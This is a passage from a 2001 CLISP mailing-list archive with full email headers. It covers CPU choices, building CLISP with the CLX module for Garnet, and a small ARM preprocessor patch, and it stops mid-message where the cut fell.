([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uhPw-0005kw-00 for ; Tue, 01 May 2001 14:10:44 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA20231; Tue, 1 May 2001 17:10:39 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] System References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 01 May 2001 17:09:20 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "RE: [clisp-list] System" > * Sent on Tue, 1 May 2001 15:53:16 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I'm currently running a 300 MHZ system and it takes > about 2 days (48 hours) to run a simple test. ouch! > Do you know of a method to "compile" lisp to machine code? CMUCL (http://cmucl.cons.org) has a _very_ sophisticated native compiler. it even does MT on Linux. When I was running very complex Lisp computations, I debugged the code using CLISP and ran the production code with CMUCL. YMMV. Please do not move the discussion out of the list, as long as it is related to CLISP. Other users might benefit from our discussion. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who can't write, write manuals. From toy@rtp.ericsson.se Tue May 01 14:48:12 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ui0B-0004Y7-00 for ; Tue, 01 May 2001 14:48:11 -0700 Received: from mr6.exu.ericsson.se. (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.10.2/8.10.2) with ESMTP id f41LmD807227 for ; Tue, 1 May 2001 16:48:13 -0500 (CDT) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se. (8.11.3/8.11.3) with SMTP id f41Lm9q04235 for ; Tue, 1 May 2001 16:48:09 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Tue May 01 16:48:08 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id RAA14305; Tue, 1 May 2001 17:48:10 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id RAA28852; Tue, 1 May 2001 17:48:07 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] System References: From: Raymond Toy Date: 01 May 2001 17:48:06 -0400 In-Reply-To: Message-ID: <4n3daozqp5.fsf@rtp.ericsson.se> Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (alfalfa) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: >> * In message >> * On the subject of "[clisp-list] System" >> * Sent on Tue, 1 May 2001 11:48:54 -0500 >> * Honorable "Justice, Randy -CONT\(DYN\)" writes: >> >> Which would clisp run better a single processor, 1.2-1.3 MHZ, or >> a dual processor, 700-800 MHZ? Sam> I am not sure - but I would think that a fast single processor is Sam> better, since CLISP is single-threaded. But I think I'd choose the dual processor 700 MHz system over a 1.2-1.3 MHz system anyday. Even my old 4 MHz Z80 system was faster than that! :-) But I agree with Sam. Also, in another mail Sam mentions MT with CMUCL. Since it doesn't use OS threads, you won't see any gains with the multiprocessor system either. All threads would run on the one processor. Ray From peter.wood@worldonline.dk Tue May 01 21:02:43 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14unqc-0004tR-00 for ; Tue, 01 May 2001 21:02:42 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C916AB558 for ; Wed, 2 May 2001 06:02:38 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f423xVX00310 for clisp-list@lists.sourceforge.net; Wed, 2 May 2001 05:59:31 +0200 Date: Wed, 2 May 2001 05:59:31 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] nclx for clisp install problem Message-ID: <20010502055931.A291@localhost.localdomain> References: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu>; from igc2@psu.edu on Fri, Apr 27, 2001 at 10:14:51AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Apr 27, 2001 at 10:14:51AM -0400, isaac councill wrote: > Hello, > > I'm not sure if this is the right place for this question, but I did not know where else to go. I am in need of a working clisp/clx/garnet on x86 Linux but I cannot seem to get nclx working properly (mit-clx is even more problematic). It compiles fine but complains that there is no package XLIB. Do any of you know where I might be able to find this XLIB package? > > thank you, > Isaac Councill Hi If you have compiled CLISP correctly, specifying the clx module to compile, you should not get the message. Are you starting CLISP with "clisp -K full" ? The default is to use the base system, which does not include the modules. Regards, Peter From marcoxa@cs.nyu.edu Wed May 02 07:42:05 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uxpM-0003u7-00 for ; Wed, 02 May 2001 07:42:04 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA23333; Wed, 2 May 2001 10:40:33 -0400 Date: Wed, 2 May 2001 10:40:33 -0400 Message-Id: <200105021440.KAA23333@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: Randy.Justice@cnet.navy.mil, clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 01 May 2001 13:52:06 -0400) Subject: Re: [clisp-list] System References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Cc: clisp-list@sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > > * In message > > * On the subject of "[clisp-list] System" > > * Sent on Tue, 1 May 2001 11:48:54 -0500 > > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > > > Which would clisp run better a single processor, 1.2-1.3 MHZ, or > > a dual processor, 700-800 MHZ? > > I am not sure - but I would think that a fast single processor is > better, since CLISP is single-threaded. > > YMMV, caveat emptor &c Sam is right. YMMV. I run CMUCL and CLisp on a dual processor Celeron 533. Maybe the Lisp is not as fast, but the second processor does take care of other heavy programs (e.g. StarOffice and VMWare). So you have to trade-off all these factors. If your program has long, processor intensive runs (as mine), I would tend to go bi-processor. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From igc2@psu.edu Wed May 02 08:17:51 2001 Received: from f04s07.cac.psu.edu ([128.118.141.35] helo=f04n07.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uyNy-0002wn-00 for ; Wed, 02 May 2001 08:17:50 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n07.cac.psu.edu (8.9.3/8.9.3) with SMTP id LAA43332; Wed, 2 May 2001 11:17:47 -0400 Message-ID: <003d01c0cff6$3ec3d5e0$a681cb82@ist.psu.edu> From: "isaac councill" To: Cc: References: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> Subject: Re: [clisp-list] nclx for clisp install problem Date: Sat, 28 Apr 2001 11:16:47 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I disovered yesterday that I was overlooking something pretty obvious. I needed to load "clx-preload.lsp" first which makes the XLIB package (now I can get the demo qix to work). This is not to say that my problem is solved, however; I still cannot get garnet to load. When I load "garnet-loader.lisp" after I load "garnet-prepare-compile.lisp" and "clx-preload.lsp" it loads garnet but after it says "loading file .../clx.lsp" I get the error message: ***-SYMBOL-FUNCTION: undefined function CLOSE-DOWN-MODE-SETTER Break XLIB[10]: The line in clx.lsp that uses CLOSE-DOWN-MODE-SETTER is: (setf (fdefinition '(SETF CLOSE-DOWN-MODE)) #'CLOSE-DOWN-MODE-SETTER and that is the first in a series of lines following the above pattern, all no doubt would produce similar error messages if loaded. I don't know yet if I am just missing code (whether it is not on my machine or if I am overlooking something else) or if the XLIB package is not doing its thing. Advice would be appreciated. To answer your previous questions regarding my clisp, I am using clisp version 2000-03-06. I did not have to do anything strange to compile it, just follow the unix directions (I think those are standard in the different clisp versions - forgive me if I am wrong). I did edit the makefile as instructed to build nclx instead of doing the build separately. Thank you, Isaac Councill ----- Original Message ----- From: Sam Steingold To: isaac councill Cc: Sent: Tuesday, May 01, 2001 12:10 PM Subject: Re: [clisp-list] nclx for clisp install problem > > * In message <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> > > * On the subject of "[clisp-list] nclx for clisp install problem" > > * Sent on Fri, 27 Apr 2001 10:14:51 -0400 > > * Honorable "isaac councill" writes: > > > > I'm not sure if this is the right place for this question, but I did > > not know where else to go. > > this is the right place to ask the question. > > > I am in need of a working clisp/clx/garnet on x86 Linux but I cannot > > seem to get nclx working properly (mit-clx is even more problematic). > > It compiles fine but complains that there is no package XLIB. Do any > > of you know where I might be able to find this XLIB package? > > You did not give us enough information. Sorry. > > Where did you get the sources? > Is it the release (2.25.1)? CVS (pre-2.26)? > What did you do to compile CLISP? > what is the exact error message you are getting > (and what exactly did you do to get it)? > > Thanks. > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > Oh Lord, give me the source code of the Universe and a good debugger! > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Wed May 02 10:12:18 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14v0Ak-00021Z-00 for ; Wed, 02 May 2001 10:12:18 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA19314; Wed, 2 May 2001 13:12:14 -0400 (EDT) X-Envelope-To: To: "isaac councill" Cc: Subject: Re: [clisp-list] nclx for clisp install problem References: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> <003d01c0cff6$3ec3d5e0$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <003d01c0cff6$3ec3d5e0$a681cb82@ist.psu.edu> Date: 02 May 2001 13:10:19 -0400 Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <003d01c0cff6$3ec3d5e0$a681cb82@ist.psu.edu> > * On the subject of "Re: [clisp-list] nclx for clisp install problem" > * Sent on Sat, 28 Apr 2001 11:16:47 -0400 > * Honorable "isaac councill" writes: > > To answer your previous questions regarding my clisp, I am using > clisp version 2000-03-06. The fact that you are _loading_ clx.lsp and clx-preload.lsp means that you are doing something very wrong. Please follow these steps: 1. download CLISP 2.25.1 (2001-04-06) 2. build it with this command: $ ./configure --with-module=clx/new-clx --build build-dir 3. install it with this command: # cd build-dir; make install 4. run it like this to build garnet (or better follow garnet instructions - I don't use it!): $ clisp -K full -norc -i garnet-prepare-compile.lisp CLISP builds 2 "linking sets" - "base" and "full". "base" has just the bare-bones CLISP, while "full" contains all the modules you specified (like nclx in my example above). You should _NOT_ load modules at run time, instead you should use the "full" linking set. If you lack root privileges and cannot install CLISP, you can still run the full image using this command: FOO=/usr/local/src/clisp/build-dir; # whatever ${FOO}/full/lisp.run -B ${FOO} -M ${FOO}/full/lispinit.mem -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From ola@cyberell.com Tue May 08 03:31:21 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14x4lz-00014Q-00 for ; Tue, 08 May 2001 03:31:20 -0700 Received: (qmail 27856 invoked by uid 102); 8 May 2001 10:31:25 -0000 Date: Tue, 8 May 2001 13:31:25 +0300 From: Ola Rinta-Koski To: clisp-list@sourceforge.net Message-ID: <20010508133125.A27807@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] CLISP on iPaq running Linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Has anybody compiled Clisp for a Compaq iPaq running Linux? It has an Intel StrongARM processor and there seems to be (at least some) ARM support in the Clisp sources, but my first attempt showed it doesn't compile out of the box. -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From sds@gnu.org Tue May 08 08:59:37 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14x9tg-00027A-00 for ; Tue, 08 May 2001 08:59:36 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA06741; Tue, 8 May 2001 10:59:25 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Ola Rinta-Koski Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010508133125.A27807@cyberell.com> Date: 08 May 2001 11:57:05 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010508133125.A27807@cyberell.com> > * On the subject of "[clisp-list] CLISP on iPaq running Linux?" > * Sent on Tue, 8 May 2001 13:31:25 +0300 > * Honorable Ola Rinta-Koski writes: > > Has anybody compiled Clisp for a Compaq iPaq running Linux? > It has an Intel StrongARM processor and there seems to be > (at least some) ARM support in the Clisp sources, but my > first attempt showed it doesn't compile out of the box. you do not give enough information, so I guess I will have to give you the standard advice: try compiling with -DSAFETY=3. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Live free or die. From ola@cyberell.com Tue May 08 09:38:54 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14xAVg-0008L5-00 for ; Tue, 08 May 2001 09:38:52 -0700 Received: (qmail 19336 invoked by uid 102); 8 May 2001 16:38:59 -0000 Date: Tue, 8 May 2001 19:38:59 +0300 From: Ola Rinta-Koski To: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? Message-ID: <20010508193859.A19199@cyberell.com> References: <20010508133125.A27807@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, May 08, 2001 at 11:57:05AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, May 08, 2001 at 11:57:05AM -0400, Sam Steingold wrote: > > * In message <20010508133125.A27807@cyberell.com> > > * On the subject of "[clisp-list] CLISP on iPaq running Linux?" > > * Sent on Tue, 8 May 2001 13:31:25 +0300 > > * Honorable Ola Rinta-Koski writes: > > > > Has anybody compiled Clisp for a Compaq iPaq running Linux? > > It has an Intel StrongARM processor and there seems to be > > (at least some) ARM support in the Clisp sources, but my > > first attempt showed it doesn't compile out of the box. > > you do not give enough information, so I guess I will have to give you > the standard advice: try compiling with -DSAFETY=3. gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c In file included from spvw.d:21: lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- GröÃen intBWsize, intWLsize, intBWLsize neu einstellen!" lispbibl.d:1600: #error "Preferred digit size depends on CPU -- GröÃe intDsize neu einstellen!" make: *** [spvw.o] Error 1 gcc -dumpspecs gives, among other data, the following defines: -Dunix -D__arm__ -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(arm) -Amachine(arm) -D__ELF__ -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From sds@gnu.org Tue May 08 10:17:53 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xB7R-00073V-00 for ; Tue, 08 May 2001 10:17:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA08852; Tue, 8 May 2001 12:17:50 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Ola Rinta-Koski Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010508193859.A19199@cyberell.com> Date: 08 May 2001 13:15:26 -0400 Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010508193859.A19199@cyberell.com> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > * Sent on Tue, 8 May 2001 19:38:59 +0300 > * Honorable Ola Rinta-Koski writes: > > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo= mit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c > In file included from spvw.d:21: > lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- Gr=C3= =B6=C3en intBWsize, intWLsize, intBWLsize neu einstellen!" > lispbibl.d:1600: #error "Preferred digit size depends on CPU -- Gr=C3=B6= =C3e intDsize neu einstellen!" > make: *** [spvw.o] Error 1 >=20 > gcc -dumpspecs gives, among other data, the following defines: > -Dunix -D__arm__ -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(arm) -Amach= ine(arm) -D__ELF__ please try this patch: --- lispbibl.d.~1.185.~ Tue Apr 10 18:49:13 2001 +++ lispbibl.d Tue May 8 13:16:20 2001 @@ -157,7 +157,7 @@ #if defined(__vax__) #define VAX #endif -#if defined(arm) || defined(__arm) +#if defined(arm) || defined(__arm) || defined(__arm__) #define ARM #endif #ifdef WIN32 --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on In the race between idiot-proof software and idiots, the idiots are winning. From bodhi@mail.speakeasy.org Tue May 08 14:11:36 2001 Received: from dsl081-197-155.nyc1.dsl.speakeasy.net ([64.81.197.155] helo=mail.speakeasy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xElb-0007mC-00 for ; Tue, 08 May 2001 14:11:35 -0700 Received: (from bodhi@localhost) by mail.speakeasy.org (8.9.3/8.9.3) id RAA01798 for clisp-list@lists.sourceforge.net; Tue, 8 May 2001 17:16:24 -0400 Date: Tue, 8 May 2001 17:16:21 -0400 From: Adam Guyot To: clisp-list@lists.sourceforge.net Message-ID: <20010508171621.B1616@speakeasy.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Subject: [clisp-list] documentation on socket calls Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: All, this is a pretty general question but I haven't seem to have found any documentation on it anywhere. How do I find out the arguments to all the socket-* calls? I know there are lots of online docs on regular calls but I havent found any for the sockets. Thanks in advance, --adam From sds@gnu.org Tue May 08 14:28:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xF1c-0003Rc-00 for ; Tue, 08 May 2001 14:28:08 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA17870; Tue, 8 May 2001 17:28:04 -0400 (EDT) X-Envelope-To: To: Adam Guyot Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] documentation on socket calls References: <20010508171621.B1616@speakeasy.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010508171621.B1616@speakeasy.net> Date: 08 May 2001 17:26:19 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010508171621.B1616@speakeasy.net> > * On the subject of "[clisp-list] documentation on socket calls" > * Sent on Tue, 8 May 2001 17:16:21 -0400 > * Honorable Adam Guyot writes: > > How do I find out the arguments to all the socket-* calls? http://clisp.sourceforge.net/impnotes.html#socket bookmark this page! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Cannot handle the fatal error due to a fatal error in the fatal error handler. From bodhi@mail.speakeasy.org Tue May 08 14:31:56 2001 Received: from dsl081-197-155.nyc1.dsl.speakeasy.net ([64.81.197.155] helo=mail.speakeasy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xF5H-00046J-00 for ; Tue, 08 May 2001 14:31:55 -0700 Received: (from bodhi@localhost) by mail.speakeasy.org (8.9.3/8.9.3) id RAA01876; Tue, 8 May 2001 17:36:41 -0400 Date: Tue, 8 May 2001 17:36:41 -0400 From: Adam Guyot To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] documentation on socket calls Message-ID: <20010508173640.A1846@speakeasy.net> References: <20010508171621.B1616@speakeasy.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from sds@gnu.org on Tue, May 08, 2001 at 05:26:19PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Thanks, I knew I must have overlooked something ;-). --adam On Tue, May 08, 2001 at 05:26:19PM -0400, Sam Steingold wrote: > > * In message <20010508171621.B1616@speakeasy.net> > > * On the subject of "[clisp-list] documentation on socket calls" > > * Sent on Tue, 8 May 2001 17:16:21 -0400 > > * Honorable Adam Guyot writes: > > > > How do I find out the arguments to all the socket-* calls? > > http://clisp.sourceforge.net/impnotes.html#socket > > bookmark this page! > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > Cannot handle the fatal error due to a fatal error in the fatal error handler. > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list From sds@gnu.org Wed May 09 12:18:42 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xZTu-0006Ws-00 for ; Wed, 09 May 2001 12:18:42 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA19822; Wed, 9 May 2001 15:18:37 -0400 (EDT) X-Envelope-To: To: Ola Rinta-Koski Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010509103210.A28242@cyberell.com> Date: 09 May 2001 15:16:15 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010509103210.A28242@cyberell.com> > * On the subject of "Re: 